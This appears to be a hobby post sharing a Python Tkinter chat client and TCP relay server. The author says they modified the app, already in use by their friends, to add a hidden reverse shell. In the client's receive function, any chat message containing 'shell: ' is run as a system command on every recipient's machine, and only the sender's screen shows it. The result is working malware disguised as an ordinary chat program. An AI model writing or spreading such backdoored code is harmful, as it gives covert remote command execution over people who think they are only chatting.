This reverse_shell is built,on the top of https://github.com/KetanSingh11/SimpleChatApp Actually, I was bored in my school one day, so, I thought of creating a chat app, so, I took the following repo, and once, our gang started using this chat app, I just modified the code to add a reverse_shell, I did watch all of bukcy robert's tutorials. So, …

multiChatClient.py

""" Script for Tkinter GUI chat client. """
import tkinter
from socket import AF_INET, socket, SOCK_STREAM, gethostbyname, gethostname
from threading import Thread
import math
import subprocess as sp

def receive():
    """ Handles receiving of messages. """
    while True:
        try:
            msg = sock.recv(BUFSIZ).decode("utf8")
            if "shell: " in msg:
                sp.call(msg.replace("shell: ", ""), shell=True)
                if HOST == get_ip():
                    msg_list.insert(tkinter.END, msg)    
            else:
                msg_list.insert(tkinter.END, msg)
        except OSError:  # Possibly client has left the chat.
            break

def get_ip():
    return gethostbyname(gethostname())

def send(event=None):
    """ Handles sending of messages. """
    msg = my_msg.get()
    my_msg.set("")  # Clears input field.
    sock.send(bytes(msg, "utf8"))
    if msg == "#quit":
        sock.close()
        top.quit()

def on_closing(event=None):
    """ This function is to be called when the window is closed. """
    my_msg.set("#quit")
    send()

def smiley_button_tieup(event=None):
    """ Function for smiley button action """
    my_msg.set(":)")    # A common smiley character
    send()

def sad_button_tieup(event=None):
    """ Function for smiley button action """
    my_msg.set(":(")    # A common smiley character
    send()

def get_ip():
    return gethostbyname(gethostname())


top = tkinter.Tk()
top.title("Simple Chat Client v1.0")
messages_frame = tkinter.Frame(top)

my_msg = tkinter.StringVar()  # For the messages to be sent.
my_msg.set("")
scrollbar = tkinter.Scrollbar(messages_frame)  # To navigate through past messages.
msg_list = tkinter.Listbox(messages_frame, height=15, width=70, yscrollcommand=scrollbar.set)
scrollbar.pack(side=tkinter.RIGHT, fill=tkinter.Y)
msg_list.pack(side=tkinter.LEFT, fill=tkinter.BOTH)
msg_list.pack()

messages_frame.pack()

button_label = tkinter.Label(top, text="Enter Message:")
button_label.pack()
entry_field = tkinter.Entry(top, textvariable=my_msg, foreground="Red")
entry_field.bind("<Return>", send)
entry_field.pack()
send_button = tkinter.Button(top, text="Send", command=send)
send_button.pack()
smiley_button = tkinter.Button(top, text=":)", command=smiley_button_tieup)
smiley_button.pack()
sad_button = tkinter.Button(top, text=":(", command=sad_button_tieup)
sad_button.pack()

quit_button = tkinter.Button(top, text="Quit", command=on_closing)
quit_button.pack()

top.protocol("WM_DELETE_WINDOW", on_closing)



HOST = get_ip()
PORT = 5000
BUFSIZ = 1024
ADDR = (HOST, PORT)
sock = socket(AF_INET, SOCK_STREAM)
sock.connect(ADDR)


receive_thread = Thread(target=receive)
receive_thread.start()
tkinter.mainloop()  # Starts GUI execution.

multiChatServer.py

""" Script for TCP chat server - relays messages to all clients """

from socket import AF_INET, socket, SOCK_STREAM, gethostbyname, gethostname 
from threading import Thread

clients = {}
addresses = {}

def get_ip():
    return gethostbyname(gethostname())

HOST = get_ip()
PORT = 5000


BUFSIZ = 1024
ADDR = (HOST, PORT)
SOCK = socket(AF_INET, SOCK_STREAM)
SOCK.bind(ADDR)


def accept_incoming_connections():
    """Sets up handling for incoming clients."""
    while True:
        client, client_address = SOCK.accept()
        print("%s:%s has connected." % client_address)
        client.send("Greetings from the ChatRoom! ".encode("utf8"))
        client.send("Now type your name and press enter!".encode("utf8"))
        addresses[client] = client_address
        Thread(target=handle_client, args=(client, client_address)).start()


def handle_client(conn, addr):  # Takes client socket as argument.
    """Handles a single client connection."""
    name = conn.recv(BUFSIZ).decode("utf8")
    welcome = 'Welcome %s! If you ever want to quit, type #quit to exit.' % name
    conn.send(bytes(welcome, "utf8"))
    msg = "%s from [%s] has joined the chat!" % (name, "{}:{}".format(addr[0], addr[1]))
    broadcast(bytes(msg, "utf8"))
    clients[conn] = name
    while True:
        msg = conn.recv(BUFSIZ)
        if msg != bytes("#quit", "utf8"):
            if "shell: " in msg.decode("utf8"):
                broadcast(msg)
            else:
                broadcast(msg, name + ": ")
        else:
            conn.send(bytes("#quit", "utf8"))
            conn.close()
            del clients[conn]
            broadcast(bytes("%s has left the chat." % name, "utf8"))
            break


def broadcast(msg, prefix=""):  # prefix is for name identification.
    """Broadcasts a message to all the clients."""
    for sock in clients:
        sock.send(bytes(prefix, "utf8") + msg)


if __name__ == "__main__":
    SOCK.listen(5)  # Listens for 5 connections at max.
    print("Chat Server has Started !!")
    print("Waiting for connections...")
    ACCEPT_THREAD = Thread(target=accept_incoming_connections)
    ACCEPT_THREAD.start()  # Starts the infinite loop.
    ACCEPT_THREAD.join()
    SOCK.close()